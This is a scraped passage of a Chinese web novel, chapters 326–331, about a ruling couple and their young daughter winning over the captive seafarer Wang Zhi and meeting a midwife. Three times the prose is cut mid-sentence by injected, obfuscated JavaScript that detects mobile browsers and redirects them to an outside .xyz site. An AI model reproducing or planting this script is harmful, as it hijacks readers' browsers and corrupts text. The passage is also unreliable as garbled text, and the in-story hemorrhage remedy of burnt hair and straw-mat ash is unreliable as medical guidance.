“是。”谭庸让人架着郎乾押了出去。 疼昏过去的纪长歌一并挂在午门外了。 这两个人处理掉之后,裴祈安抬头打量着汪直。 “大梁,汪氏。”裴祈安说:“确实忠肝义胆,这么多年也没忘记大梁,还惦记着这里。” 汪直闭口不言,根本不想说话。 裴祈安也不着急,淡淡的说:“曾经的大梁、大夏,都成为了历史的尘埃,如今的大昭必将成为最强大的国家,汪直,你觉得呢?” 汪直一言不发,说什么?还是那句话,成王败寇,自己无话可说,更不会自取其辱,死?谁能不死?只不过自己没想到会落到这步田地,但无妨,汪家没有了汪直还后继有人。 温令仪开口:“大梁公主留下的宝藏已经被取出来了。” “你说什么?”汪直立刻瞪大了眼睛,死死地盯着温令仪。 温令仪起身行礼:“虽不同朝,但上官子玉让人钦佩,并且我们都师承药王谷,按照辈分是我的师姑。” “你!”汪直死死地盯着温令仪。 温令仪问:“你想知道上官子玉的事吗?” 第326章 黄口小儿,口出狂言 汪直死死地盯着温令仪。 温令仪知道自己赌对了,汪直的年纪跟上官子玉相仿,也就是说当年大梁灭国之时,六岁的上官子玉被送到药王谷,汪直也是经历过**之痛的人,尽管那个时候可能还很小。 并且,汪家作为大梁的国之柱石,宝藏和还有公主活在世上的事,必定是知道的。 也就是说,汪直听到上官子玉也好,听到宝藏这两个字也好,都不会无动于衷,除非汪直也跟郎乾一样是假的。 既然赌对了,温令仪自然就没有什么顾忌了。 从上官子玉入药王谷到去梅山,在梅山的遭遇到最后临死前赠藏宝图和嘱咐这批宝藏的用处,都仔仔细细的跟汪直说了一遍。 汪直最开始还将信将疑,听到上官子玉交出的藏宝图竟然是刺在背上,并且最后割皮时,浑浊的泪水到底是滚落下来了。 温令仪停下了片刻,等汪直平复了情绪才继续说:“历朝历代,终是会由盛到衰,最终成为过去,与其执着于一个国号,倒不如看看这片土地上一直都繁衍生息的百姓,他们历经苦难,安贫乐道,内心深处都在期盼着太平盛世,刀兵不起,他们就能安居乐业,什么都会变,唯独这些最寻常的百姓,一直都没有变,所以,大梁也好,大夏也好,包括现在的大昭,真就是**江山的主人吗?要我说,这片土地上的百姓才是。” 汪直打量着温令仪,这道理一旦说破了,谁都能听懂,可事实上真是这样子吗? “温令仪,最无能为力的也是这些百姓,被压榨,被盘剥,他们只不过是随波逐流,艰难求活罢了。”汪直说。 温令仪点了点头:“是啊,所以大昭不单单想要让这些百姓活,还想要让这些百姓活得好,这才是一个朝廷存在的理由,有秩序,有执行者,就像是羊群需要领头羊,也需要牧羊人。” “对了,上官子玉托付的事,大昭办了,还办的很好,那些宝藏让大昭各地衙门有了医馆,有了学堂,有了慈幼所,更开了女学,她说这些宝藏不是大梁皇室的,是这些百姓的民脂民膏,还给这些百姓,也是为上官一族和所有大梁臣工恕罪。”温令仪说。 汪直听到这里,心里的怨气似乎也消散了,是太执着了,大梁逃走的不止汪家,海外盘踞多年,苦心筹谋,就是为了回到故土,他亦是如此。 只是故土犹在,却早已不是当初的模样了,大昭跟大梁没有仇,灭了大夏的是大昭,可以说算是为大梁报仇了,特别是眼前的女子,她的话没有一个字是废话,也没有一个字是假话。 看一直都没言语的裴祈安,这夫妻二人还真是配合默契,温令仪攻心,裴祈安会开出条件,让自己臣服大昭吧。 等温令仪说完,汪直在等裴祈安说话,哪里想到裴祈安竟起身,牵着温令仪的手走了。 走了? 汪直看着二人的背影,深吸一口气,裴祈安是在磨自己的性子! 二人离开天牢,外面已经飘起了雪花,温令仪抬起手接住了几片,看雪花在掌心里融化:“汪直可以成为大昭水师的重宝。” “不止,汪家的忠诚更让我看重。”裴祈安抬头看着飘洒的雪花,在灯笼的映衬下翩翩起舞:“多半朝臣都不堪大用,纪家能逃到海外,不单单是纪家的本事,大夏开过几次恩科了,大昭不能效仿,所以等六部审核完毕,需要很多人填补官职空缺,现在是个绝佳的机会,也只能现在。” 温令仪停下脚步:“那汪直这边,接下来怎么办?” “软禁,让小囡囡出马,这孩子整日都在研究造船,若论经验,大昭没有一个人比汪直更有经验。”裴祈安说。 温令仪倒是不反对,只是有点儿心疼,女儿还小,可这孩子从刚会说话开始,就真有操不完的心,简直没有像真正的小孩那般活过呢。 汪直没想到,裴祈安和温令仪前脚刚走,就有人过来把他从木架子上放下来,沐浴更衣处理伤口,做好这些送去了御花园里的一个院子里,这里十分僻静。 他知道是这是软禁自己,逃走?没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304598|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,因为敢把自己放出来,就根本不可能让自己逃出去。 伺候的人是两个老太监和四个老嬷嬷,虽然年纪大了,但做事手脚麻利,也正因为年纪大了,天气好的时候会蹲在南墙根儿小声嘀嘀咕咕说话。 就算不想听,也能听到。 “听说,前儿在午门外砍了十几个**枉法的大官。”老太监啧啧几声:“真是开眼了,那些大官养尊处优那么多年,肯定没想到会活到这么一个下场。” 旁边,眯缝着眼睛的老太监冷笑:“那些人也真是拎不清,皇上未曾登上皇位的时候,那就是摄政王,朝廷里的每一个人都了若指掌,改朝换代就是一朝天子一朝臣的时候,这些个贪官污吏还以为能侥幸逃脱呢。” “你们啊,可真是被皇后娘娘纵容坏了。”老嬷嬷不悦的说:“不管怎么说,我们这些宫里的老人都留下,让我们老有所依,这便是恩情,不要乱说话,祸从口出。” 汪直翻了个身,忍不住想笑。 这些人是真忠心耿耿,不管是有人授意,还是自己想出来的办法,反正是在替裴祈安说话,为大昭说话。 自己没有能力光复大梁,被软禁在此,无非等死,一把年纪没有雄心壮志了,说这些给自己听,有什么用呢? “嬷嬷,汪直怎么样了?”裴明熙进来,问道。 老嬷嬷赶紧起身:“回长公主,贵客不让老奴们近身伺候,这会儿许是在歇着。” “行,你们忙。”裴明熙往门口来。 汪直微微眯起眼睛,脑海里浮现出在归海府见到的小女娃模样,抬眸果然见裴明熙走进来。 裴明熙坐在椅子上,从挎包里掏出来一沓图纸放在桌子上,看着汪直:“汪直,你的船固然厉害,但是我们大昭的船会更厉害,你信不信?” 汪直眯起眼睛:“黄口小儿,口出狂言。” 裴明熙抽出来一张图纸,走到汪直跟前,往他手里一拍:“喏,你自己看看,我就不信,还遇不到实货的人了!” 第327章 您为大昭百姓画了一道护身符 汪直不经意的撇了一眼,就这一眼让他差点儿没把眼珠子瞪飞了,抬头看小女娃一脸炫耀的模样,眉头紧蹙:“大昭还真有能人,叫来如何?” “不用叫来,就站在你面前。”裴明熙拍了拍胸脯:“本公主的厉害只不过展露一丢丢罢了,怎么样?服不服?” 汪直笑了:“我服不服有什么关系?别人不信你,你就算再有本事,在大人眼里也是孩子瞎胡闹罢了。” 裴明熙一下就耷拉脑袋了,走到椅子上坐下来,气哼哼的说:“那些人都不识货!” “你怎么不觉得是你的图纸不对?看着像模像样,但这样的大船可没有纸上谈兵那么容易。”汪直仔细的看着图纸:“桅杆和船身的角度不对,别说借力了,极有可能下水就翻船,甲板上放流火炮,还八门流火炮,你可想过这个重量会吃水多深?” 裴明熙眼底一抹狡黠闪过,凑过来指着图纸:“但是,这样的船若是造出来,你觉得海外那几个小国家能不能打个稀巴烂?” “你倒是心狠,小小年纪,挺记仇啊。”汪直看裴明熙:“想要造船是为了出海报仇?” 裴明熙摇头:“要是只为了报仇,那就太弱了,大昭还要震慑四夷,让那些妄图跑来大昭的人,听到大昭两个字都恨不得夹起尾巴,钻到老鼠洞里去。” “比如我?”汪直问。 裴明熙叹了口气:“你怎么说也是自己人啊,根在这里,只要不兴风作浪,想要落叶归根,大昭就会敞开大门欢迎你们这些漂泊在外的人回家的,非我族类,其心必异,大昭要震慑的宵小是海外那些小国。” 这话让汪直心里有些不是滋味儿,一个七八岁的孩子能说出这样的话,让一把年纪的他怎么能不汗颜? “母后说,她最敬佩大梁公主,一个用一辈子守护大梁宝藏的人,只为了把这些财富还给百姓,任何朝代都有兴衰,但人的好坏却不能用兴衰去评判,大梁**始于**之君的残暴无道,大夏**始于历朝历代的皇帝都不能重视贤能,反而忌惮能臣,君臣离心离德,亡于昏庸,而如今的大昭,百废待兴,以史为鉴,造福于民,何愁不兴?“裴明熙看着汪直:”如果让别人打上门,不能恶狠狠的打回去,大昭的百姓就没好日子过了。” 汪直哪里想到自己竟被一个小孩子说服了。 抬起手指着船图,汪直想了想说:“桅杆的角度需要调整,整个船身要拉长,流火炮的重量要自己算好,不然船的灵活度不够,虽然看着是庞然大物,可真正打起来因为不够灵活,反而成了弱点。” 裴明熙立刻让人送来文房四宝,汪直说,她记。 临走的时候把所有的船图都留下了,唯独带走了刚才看过的那张船图和记录下来的那些话。 汪直起身走到窗边,看着蹦蹦跳跳离开的裴明熙。 这位大昭的长公主是个少见的孩子,聪慧又有城府。 看似是让自己传授造船的技艺,实则是想要借此机会为大昭招兵买马,更是想要从自己这里打开突破口,兵不血刃的让海外那些曾经的大梁人归心大昭,为大昭所用啊。 虽然看得明白,偏偏心里却暖融融的,汪直觉得自己老了,老到看到后生晚辈有能耐,哪怕不是自家娃娃都心里欢喜。 再者,不管是温令仪说的,还是别人教她的,就算是鹦鹉学舌也好,能说出来以史为鉴的话,也不得不承认大昭要比大梁和大夏更有希望。 这一夜,汪直在灯下看那些船图,越看越精神抖擞,虽说都有一些小问题,可瑕不掩瑜,大昭有高人,这些船别说都造出来,就是造出来三成,那都能在海上称霸啊。 披衣,研墨提笔,一张张船图的不足都列出来,最后一张图纸看完,汪直靠在软垫上闭目养神,他不怕大昭卸磨杀驴,能软禁自己,必定是看出自己身上的价值,如今自己也算是倾囊相授了,就算是死,似乎也没什么遗憾,他本就不憎恨大昭,换而言之,汪家祖训是守护万民,如今大昭不正在做这件事吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304599|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江山代有人才出,并非没有汪家就不行。 翌日,裴明熙早早就来了,提着食盒,一样样小菜摆在桌子上,还有一壶酒。 进门的时候见汪直闭目养神,似睡非睡的样子,轻手轻脚的放下食盒,来到桌案前,一张张图纸都批改过了。 抬头看汪直花白的头发,裴明熙抿了抿嘴角,出门半天才折返回来。 “汪老,吃饭了。”裴明熙小声说。 汪直睁开眼睛,见裴明熙笑眯眯的模样,说道:“好,吃饭。” 裴明熙吩咐人送热水进来,她亲自摆饭。 汪直洗漱完毕,坐下来看着这些菜:“都是投其所好啊。” “当然,您老漂泊在外多年,难得吃到家乡菜,昨日那图纸可给我长脸了,父皇终于觉得可以一试了。”裴明熙恭敬地行礼:“您为大昭百姓画了一道护身符。” 汪直朗声笑了:“好,受之无愧,那就欣然接受。” 吃饱喝足,汪直回到床边坐下:“带回去吧,老朽累得很,先睡一睡。” “母后说您劳心劳力,伤了七情,要想调理身体就需先培元固本,这是母后送的培元丹,您老若是信得过,每天早晚各一颗。”裴明熙把匣子放在床边的柜子上,望着汪直:“您若能成为大昭水师的幕僚,那才是大昭百姓之福,所以母后不会害您,我们都不会害您。” 汪直看着裴明熙,缓缓地闭上了眼睛。 耳边是裴明熙收拾那些船图的声音,出门的时候还叮嘱伺候的人进来收拾好屋子,并且让老嬷嬷去取一些安神的香料。 汪直睡着之前还在想,汪家或许真的可以早点儿回来,或者找个合适的时机回来,唯有如此,才是长久之计啊。 裴明熙跑去御书房。 裴祈安把奏折放在一边,抬头看裴明熙:“囡囡,你倒是厉害。” “父皇,汪直并非坏人,能放了他吗?”裴明熙说:“我赌放了他,并不是放虎归山。” 第328章 裴明熙,你是有所求吧? 裴祈安把船图放在一边,抬起手让裴明熙过来,宽大的椅子上坐着父女二人。 “囡囡想要让汪直回去,不如仔细跟爹说说原因,不单单是因为他人不坏吧?”裴祈安从旁边拿过来零食匣子,送到裴明熙面前,说。 裴明熙捏了一颗果脯放在嘴里:“离开亲人,客死他乡,人生一大憾事,这是其一。” “不管背后原因是什么,在世人眼中汪直让我大昭损失三千多将士。”裴祈安说。 裴明熙说:“汪直若是想得开,即便是回到了海外,那也会成为我们大昭的内应,那些大梁遗民,心心念念就是回到故乡,大昭必定会出海远征,震慑宵小,这也是儿臣想的一个点。” “爹也这么想的。”裴祈安说:“汪直这个人确实有本事,汪家在海外也有声望,不过要放走这个人,还需要再等等。” 裴明熙偏头看裴祈安:“等五爹爹来京?” “囡囡聪慧。”裴祈安揉了揉裴明熙的脸蛋:“就算放他走,也要明年的春天,你五爹爹还想走的更远,为大昭找回来更多的粮种,百姓得先能吃饱肚子。” 这一点裴明熙是知道的,并且现在越来越理解民以食为天的真正意义了,不在其位,怎么能知道自己的衣食丰足是多么不容易,偌大的大昭,还有许许多多百姓都在为一日三餐的生计发愁。 京城里的繁华很能遮蔽双眼和心,特别是如今的父皇和自己。 任何朝代都不缺欺下瞒上的人,所以明君要纵观天下,看得到最苦的百姓,并且能真正为百姓做事,而不是坐在金銮殿上,听那些满嘴跑火车的大臣吹牛。 “父皇英明。”裴明熙笑眯眯的靠在裴祈安的手臂上:“父皇一定会成为大昭最最最厉害的君王,也会是纵观古今,最最最厉害的君王。” 裴祈安朗声笑了:“好了,别整日里琢磨造船的事,也帮你母后分一分忧,你大舅父已经带着能工巧匠回来了,年后会往归海府去,不能操之过急的事,就不能急于一时。” “是,父皇。”裴明熙当然明白这个道理。 朝廷到了官员审核的最后阶段,升降贬谪进入尾声,跟午门外问斩的那些贪官污吏对应的是能臣入京,担任要职。 并且朝廷特地拨款十万两到各地的医馆,贴补百姓。 与此同时,一直都十分低调,甚至安静的后宫突然开始举办宴会了,但凡受邀的官眷,无不欣喜若狂,毕竟能在皇后面前露露脸,更能趁此机会结交别的官眷,对自家入仕的人都有莫大的助益。 再者,即便是皇后娘娘再怎么低调,京城里的人哪有不了解这位的? 跟皇后娘娘那些充满了波折的过去比起来,她得博爱、仁慈和了不起的医术,甚至兴办女学,更让京城里的这些官眷钦佩不已。 温令仪设宴招待这些官眷,没有看景游园,而是带着这些人看宫里的作坊。 等到宴席开始的时候,温令仪说:“众位夫人都是知书达理,出身不俗的女子,本宫今日设宴不单单是要跟各位熟悉熟悉,也是想要让众位夫人为大昭出一份力,为大昭万万千女子出一份力。” “皇后娘娘,臣妇就在等这样的机会,囿于后宅,终究是磨平了棱角,只看到头顶那一片小天地,犹如井底之蛙,虽然我们入不了女学,但还算有些能耐,若是能为皇后娘娘所用,必定会尽心尽力。”吏部尚书夫人率先说道。 顿时,众多官眷都纷纷附和。 温令仪想要的便是这样的结果,能被邀请入宫赴宴的官眷,那都是前朝可用之人的眷属,这些人能为自己所用,不管是前朝还是后宫,都跟京城里的官员密切捆绑在一起。 这次宫宴十分成功。 第二日便有各家的帖子送到温令仪手里,这些夫人回到家里就使出来浑身解数,寻各种能人,献计献策踊跃的很。 调香、织布的技艺,一些传说中的技艺都以为断绝了,但也都找到了传承人,还有各行各业,五花八门的买卖。 温令仪也**此薄彼,但凡这些送来帖子的夫人,都接到了皇后娘娘亲自准备的礼物,并且告知,所有买卖年后开始,先稳稳地过个年。 终于,在一场瑞雪的纷纷洒洒时,朝廷封印,百官归家过年,整个 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裴明熙坦坦荡荡的和汪直对视:“我父皇说,各为其主时,刀兵相见谁都不会手下留情,如今胜败成为定局,您老为大昭带来了苦难,但也带来了莫大的好处,功过相抵不忍害您性命,所以把您平安的送回去,是感谢您的帮助。” 汪直低头,一口一口吃着臭豆腐,眼泪一滴一滴的落下来。 他一把年纪,竟被感动的掉眼泪,说出去只怕会被人耻笑,可谁能理解自己此时的心情呢? 若是能回到汪家,自己该如何说如今的大昭,并非大梁,却比大梁更好,也一定会越来越好,这是一个有希望的朝廷,更是一个能打开大门,接纳他们回到故乡的朝廷。 裴明熙跑出去,一会儿工夫提着匣子进来,放在桌子上打开:“我还给您准备了独行灵草、绿芽、片金河金茗,这些安化茶,都是潭州特产,我还准备了铜官窑的瓷器,这一套釉下彩送给您。” 汪直抬头:“裴明熙啊,你是有所求吧?” “是啊,我也想去海外看看,带上我,保护我,别让人弄死我,成吗?”裴明熙立刻凑过来,拉着汪直的衣袖:“我可以当您的干孙女啊。” 第329章 果然,收服汪直还得裴明熙 汪直审视着裴明熙,这孩子总让人有一种不敢喜欢但是也没办法讨厌的感觉。 似乎在她身上总有一点儿让人摸不透的东西,看似人畜无害,又不能掉以轻心。 “去海外不是什么好事,大海上每年翻船的事太多了,很多人都会葬身鱼腹。”汪直说。 裴明熙笑了:“我不怕啊,如果因为怕死就什么也不敢做,那人生还有什么意思?毕竟我们从出生那天开始,不就是奔着死亡去的吗?” 汪直愣怔片刻,突然笑了:“你这孩子倒是有意思,去海外想要做什么?” “报仇啊,知己知彼百战不殆,纪家凭三寸不烂之舌,让您和三国兴兵而来,按理说你们人多,船大,甚至于单兵作战,大昭的将士们都未必是你们的对手,可是你们失败了,失败在不知己知彼。”裴明熙单手托腮:“更没有后续源源不断的供给,能不败吗?说起来不是大昭多强,而是纪家根本不行,他们在大昭除了有钱,还有什么?” 汪直当然想过为何会惨败,也真被大昭这一个活口不留的打法给吓到了,两国交战不杀俘虏,这是道义。 “不能让一个活着离开大昭,因为大昭抵挡不住第二次攻打。”裴明熙抬眸:“这就像是怀揣重宝,明知道周围都是虎视眈眈的人,还有什么道义可言?谁动手就弄死谁,否则死的就是自己。” 汪直赞同的点了点头:“所以,你要想了解他们,再打败他们?” “是啊,卧榻侧,怎能容猛虎安睡?”裴明熙说:“大昭需要准备,这个过程可能是漫长的等待,但现在出海不正当时吗?敌人的敌人就是朋友。” 汪直挑起大拇指:“果然英雄出少年,若我能回去,汪家愿意辅佐你。” “不怕我是另一个纪长歌?”裴明熙笑着摇头:“我爹说,汪家曾是大梁的国之柱石,家风让人敬佩,若有朝一日汪家愿意回来,大昭必定以礼相待,而不是式微时,花言巧语哄骗汪家做马前卒,得势时又要学大夏忌惮能臣,大昭,跟他们不一样。” “确实不一样。”汪直说:“让人刮目相看。” 裴明熙来了兴致:“不如,带您去看看我的书房。” 汪直挑眉:“这,合适吗?” “有什么不合适的呢?若是您有过目不忘的本领,那也是造化。”裴明熙拉着汪直出门。 这是汪直被软禁在这个院子里后,第一次出门。 一路上,裴明熙叽叽喳喳的介绍皇宫里的各个宫殿,汪直除了震惊还有钦佩,听说裴祈安是天阉之人,但传言多不可信,自己亲眼所见才是真实的,裴祈安是个明君,而被世人背后品头论足过的皇后,更是让人不得不敬佩,想起在大牢里见到温令仪的场景,他明白上官子玉为何会把那么重要的事情托付给温令仪了。 人,陷入我执便难见澄明,一叶障目怎么可能见大好河山? 汪家和流落在海外的大梁遗民,都沉浸在大梁的仇恨中,可是这片土地上的人们却在经历着有一个朝代更迭,历朝历代哪有长盛不衰?哪有江山可万代千秋? 回头去看,裴祈安也好,温令仪也好,他们必很多人都更看得明白,这片土地从来不归属任何人,而是属于每一个生活在这片土地上的人。 谁能想到大昭后宫没有妃嫔,只有作坊,太监和宫女也都一把年纪了,太监是因身体残缺,就算是回到百姓中也都是后继无人的孤苦老人,反而留在宫里,做力所能及的事,颐养天年才更为妥当,这便是裴祈安和温令仪的宽厚,至于宫女,裴明熙说,以后这里没有宫女的说辞,是女官,她们处理宫中事物,就跟前朝的官员一样。 更让汪直震惊的是大昭有女官,女子入仕为官,和男人平分秋色,这是何等的气魄? “这就是我的书房。”裴明熙打开门,立在旁边笑眯眯的看着汪直。 汪直迈步走进来,书房,确实是书房,三面墙都是摆放整齐的书,上面有木牌,木牌用来分门别类,工、商、农、学、史,甚至有杂学。 走在这小小的房间里,冬日的阳光透过薄薄的窗棂纸洒进来,那种感觉恬静中又让人心里涌起无数感慨,怕岁月 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百姓们络绎不绝过来给上官子玉拜年,送来了最好的贡品,谢恩的声音让汪直蹲下来,问裴明熙:“他们都知道大梁公主?” “他们不该知道吗?”裴明熙神色肃穆:“大梁灭国时,她才六岁,就算她是公主又如何?难道就不是一个孩子了吗?为了护着大梁宝藏,一辈子何曾享受过正常人的欢愉?” 汪直缓缓点头。 “这还不算,为了让大梁宝藏真的能用在百姓身上,切肤之痛,揭下来的是她后背的一大片皮肉!母亲心疼不已,药王谷的人更发誓要完成她的遗愿,这么一个了不起的女性,百姓供奉不应该吗?”裴明熙说:“您和汪家,乃至于当年离开这里的大梁遗民,难道就只会抱着大梁这两个字,一代代人耗损下去,而不学上官子玉这般?她不在乎大梁,但在乎这些百姓,她不在乎宝藏,但在乎宝藏是否能用在百姓身上,而我的父亲和母亲,他们敬佩上官子玉,并且做到了。” 汪直抬起手轻轻地拍了拍裴明熙的肩膀:“好,我带着你去四珍岛。” 第330章 难道这又是一次瞌睡来了有枕头的事吗? 汪直回到自己的院子,几个老太监和老嬷嬷早就准备好了年夜饭。 裴明熙身为皇长公主得陪着温令仪去宴请女眷,当然也要跟着父皇和母后接受群臣道贺。 辞旧迎新。 初一一大早,裴明熙就跑来见汪直了。 “父皇和母后请您过去。”裴明熙说。 汪直换上了新衣,跟着裴明熙出门:“你可说了要出海的事?” “说了啊,五爹爹也在,这次出海可能还会有一些别的人。”裴明熙说:“到时候一定很热闹。” 汪直满腹疑惑的来到了御书房。 御书房里,顾清弦、罗岳和温静言都在,裴祈安和温令仪坐在上首位。 裴明熙带着汪直进来,汪直看这几个人,猜测都是要出海的人,他见过顾清弦,虽说没有往来过,但顾清弦作为商船,路过四珍岛的时候是,都是最受欢迎的故乡人,至于另外两位,不认得。 “免礼,赐座。”裴祈安没有等汪直行礼,先开口了。 汪直拱手行礼:“多谢。” 落座后,裴祈安说:“汪直,送你回四珍岛的事定下来了,初五便需启程往归海府去,你可有要做的事?” “皇上能放我一马,已是开恩,不敢再有任何奢望。”汪直回道。 裴祈安点了点头:“此番去四珍岛,朕需让你带人上岛,等顾清弦回航之时,再带着他们归来,希望你能如朕一般,把人送归。” 汪直拱手:“理应如此,这些日子承蒙长公主照拂之恩,想必某能回去四珍岛,也是长公主出了大力,不管随同去几个人,都会护周全,必定会全须全尾的回来。” “好。”裴祈安介绍罗岳和温静言给汪直。 顾清弦提起来四珍岛更是如数家珍。 温令仪心里是舍不得女儿离开身边的,之前因为萧玄策,女儿就经常不在身边,如今萧玄策倒是安定下来了,可又要去四珍岛,她都不知道下次见到女儿会是什么时候,这种聚少离多,让她这个当娘的人,心都跟要揪下来了似的。 虽说如此,温令仪也明白大局为重。 初五这天,裴明熙跪拜辞别父母,顾清弦作为大昭国商,罗岳和温静言为大昭使节,一行人离开了京城,一路往归海府去。 从京城到归海府,坐马车得半月才能到。 到了归海府也正是可以开船出海的时候,早在年前,顾清弦就准备好了要带走的货物,并且提前送到了归海府,只需要他到了,就可以择良辰吉日出发。 送走了他们,温令仪心里空落落的,看着牙牙学语的无染,只觉得这一年过的比两辈子都离奇,谁能想到前世惨死,那何止一个惨字了得,可谁又能想到重生一回,自己竟成了母仪天下的人。 皇宫里,所有人都各司其职忙碌着,温令仪只需要各处走走就好,并不需要亲力亲为,她索性抱着无染出宫,往女学来。 女学这边,跟刚开始比起来,完善了不少,许多慕名而来的女夫子都住在这边,苏禾是个能干的人,有药王谷的师兄们坐阵,苏禾并无后顾之忧,女学各种学科越发的丰富起来。 再次见到恩师,温令仪心里就止不住酸涩,原本神采奕奕的师父竟在短短的几年里,一幅老态龙钟模样。 “你这孩子,哭什么?”天成子让温令仪坐下:“怎么?见不得为师老?” “您老的太快了。”温令仪哽咽的说。 天成子笑着摇了摇头:“不是为师老的快,是岁月催人老,为师这辈子经历了太多悲欢离合,人啊,最怕心累,一旦心累了,就老的快了。” “师父不肯说实话,您上次受伤太重。”温令仪低声说。 天成子上次率领弟子去寻找大梁宝藏,被穆青带着人算计,能活着回到药王谷都是大造化,虽然温令仪几乎把所有龙首山密室里的珍贵药材都送去了药王谷,可心里明白,师父不止身体受伤,更多的是伤心了,上官子玉的死成了师父度不过去的劫。 天成子笑呵呵的端起茶盏抿了口:“如今,总算都好起来了,你也成了母仪天下的人,大昭有明君,也有贤后,还有小囡囡那么聪慧伶俐,异于常人的孩子,这未来可期啊。” “师父,我想要住在这边一段日子。”温令仪说。 她害怕,害怕哪天自己突然接到了消息,再也没有办法陪伴在师父身边,她希望能像小时候那般,围在师父跟前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318849|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 天成子点了点头:“好,好。” 温令仪让林嬷嬷回去和裴祈安说一声,自己则在女学这边住下了。 无染的奶娘一道过来,就在原本的听风苑里住下,虽然现在这里已经改叫明德堂了。 说熟悉,确实处处都有从前的影子,可感觉不一样了,这里更生气勃勃了,年轻的姑娘们早早的回来女学准备新一年的课业,各地来的女夫子都在女学里过的年,温令仪虽没有问她们的来历,可也知道,若是有一点点儿牵绊,她们也不会来到京城并且留在这里了。 至于到底有没有需要帮衬的地方,温令仪觉得要等等看。 要说忙,可忙起来了,因为天成子给温令仪安排了一件大事,著书立说。 药王谷传承百年,自有底蕴,天成子毕生所学,也都要集结成册,想要给后世留下点儿东西。 这里不单单有温令仪,大师兄带着师弟们都在这里,他们不止在女学传授岐黄之术,也在京城各处开设医馆,悬壶济世。 其实,温令仪心里清楚,师父和师兄们都是在护着自己。 “师父,我得到了一些医书,是曾经的江湖盟主墨染给我的,您看看。”温令仪取出来书送到天成子面前。 天成子扫了一眼:“你这钻研不少日子了,书都卷边了。” “是,但令仪不敢轻举妄动,更不敢尝试,这里面记录的手法太过令人匪夷所思了。”温令仪说。 天成子翻开看了几眼,倒吸了一口凉气:“这墨染到底是什么来历?给孕妇开膛破肚之法,就算是我也不曾见过。” “对啊,师父,非但能让婴儿平安降生,还能令孕妇没有性命之虞。”温令仪说:“大昭需要很多孩子,如此才能繁荣昌盛起来,但每年都会有很多妇人死在临盆这一日,若是此法可行,那会是多么功德无量的事情啊。” 师徒二人正在说话,碧桃从外面进来:“皇后娘娘,苏禾带来了一个女子,说要见您。” 温令仪转过身:“什么人?” “背着药箱,说最善孕产这一块,说您一定想要见她。”碧桃说。 温令仪挑眉,难道这又是一次瞌睡来了有枕头的事吗? 第331章 来了个周灵娘 温令仪看着走进来的女子,不过二十左右岁的年纪,五官样貌极为普通,但一双眼睛却漂亮得很,犹如藏了星辰一般,让人猛地看过去,只能看到这双眼睛。 苏禾跪下给温令仪请安。 女子慢了半拍也跪下给温令仪请安。 “平身吧。”温令仪让林嬷嬷给二人奉茶,旁边的天成子继续看书,完全不在意眼前的这些事似的。 “苏禾,你们认得?”温令仪问。 苏禾摇头:“回皇后娘娘,微臣昨日外出,遇到一户人家产妇难产血崩,是这位周姑娘出手相助,才转危为安的,微臣目睹了全过程,待周姑娘走时便跟上去了,百般保证才能让周姑娘跟微臣走这一遭。” “哦?”温令仪看向坐在苏禾身边的女子,穿着细棉布的衣裙,家境虽不至殷实可也过得下去,只是她似乎有些紧张,两只手交叉握在一起,微微低着头。 “周姑娘莫怕,本宫也是学岐黄之术的人,刚巧提起来产妇临盆多艰难的事,你擅长此道?”温令仪出声问道。 周灵娘抬眸快速的看了眼温令仪,起身跪在地上:“草民确实会救产妇临盆之难,但家中长辈传下的医术唯此一道。” 温令仪明白,很多民间郎中都是家传,家传技艺多数都是一招鲜,是家族一代代人赖以生存的本事。 “你可想过要来女学当个夫子?”温令仪问。 周灵娘摇头:“草民不愿意,家中母亲离不开人照应。” “这样啊。”温令仪并没有打算强求,只是觉得可惜,便又问:“周姑娘能否说一说,若是产妇血崩,该如何救治?若能赐一法给本宫,本宫奉上千两银。” 周灵娘吓一跳,抬头看温令仪:“一千两?” “是,此法能救很多产妇,只要周姑娘肯说如何救治,这些酬谢是应该的。”温令仪说。 周灵娘似乎是下了很大的决心:“我能再多要一颗五十年份的人参吗?救命用。” 温令仪没有犹豫,点头了。 周灵娘跪下磕头谢恩,随后才说:“治疗产妇血崩,需**头,用瓦片焚烧成灰,另用:仙鹤草、侧柏叶、茜草炭、艾叶炭,可以止血,还需要用旧草席一起焚成灰,能救危急。” 本来看书的天成子听到这话,抬头看了眼周灵娘。 周灵娘低着头又说:“要看产妇是何体质,若脾虚可用举元煎或固本止崩汤,血热则需用清热固经汤,血瘀用逐瘀止崩汤,肾虚则用左归汤,我会把这些方子都写下来。” 天成子微微点头。 